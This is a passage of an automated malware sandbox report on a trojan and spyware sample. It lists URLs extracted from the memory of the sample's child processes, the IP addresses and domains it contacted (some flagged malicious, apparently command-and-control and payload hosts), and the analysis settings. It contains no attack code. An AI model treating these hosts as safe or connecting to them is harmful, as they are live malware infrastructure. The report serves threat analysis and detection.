http://tempuri.org/Entity/Id8Response	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://194.180.174.41/	7728.exe, 00000023.00000002.577125327.0000000002861000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	110B.exe, 0000001E.00000002.552596052.00000000028A0000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576020249.0000000002DE0000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575020913.00000000031F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_java	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_divx	AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id13Response	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577458374.0000000002F80000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
https://t.me/capibarl	7728.exe, 00000023.00000002.574917027.0000000000C96000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id22Response	C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	false		high
http://91.219.236.148:80/capibarb	7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
https://get.adob	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id18Response	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://service.real.com/realplayer/security/02062012_player/en/	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id3Response	110B.exe, 0000001E.00000002.553512076.0000000002ABE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id19Response(	AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://91.219.236.148/	7728.exe, 00000023.00000002.577012265.000000000284D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/soap/actor/next	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
155.248.231.246	downloafilesaccess.ddns.net	United States	6142	SUN-JAVAUS	false
185.7.214.239	unknown	France	42652	DELUNETDE	false
5.188.89.48	host-data-coin-11.com	Russian Federation	34665	PINDC-ASRU	false
188.166.28.199	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
86.107.197.138	unknown	Romania	39855	MOD-EUNL	false
54.38.220.85	unicupload.top	France	16276	OVHFR	false
194.180.174.41	unknown	unknown	39798	MIVOCLOUDMD	false
194.180.174.53	unknown	unknown	39798	MIVOCLOUDMD	false
91.243.44.128	unknown	Russian Federation	395092	SHOCK-1US	false
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
185.233.81.115	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	true
185.7.214.171	unknown	France	42652	DELUNETDE	true
91.219.236.18	unknown	Hungary	56322	SERVERASTRA-ASHU	false
185.186.142.166	unknown	Russian Federation	204490	ASKONTELRU	true
162.159.134.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	545835
Start date:	28.12.2021
Start time:	05:17:07
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	H4HU4rg1NM.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@35/33@65/16
EGA Information:	Failed
HDC Information:	Successful, ratio: 24.2% (good quality ratio 18.1%) Quality average: 58.9% Quality standard deviation: 39.8%
HCA Information:	Successful, ratio: 57% Number of executed functions: 356 Number of non-executed functions: 61
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
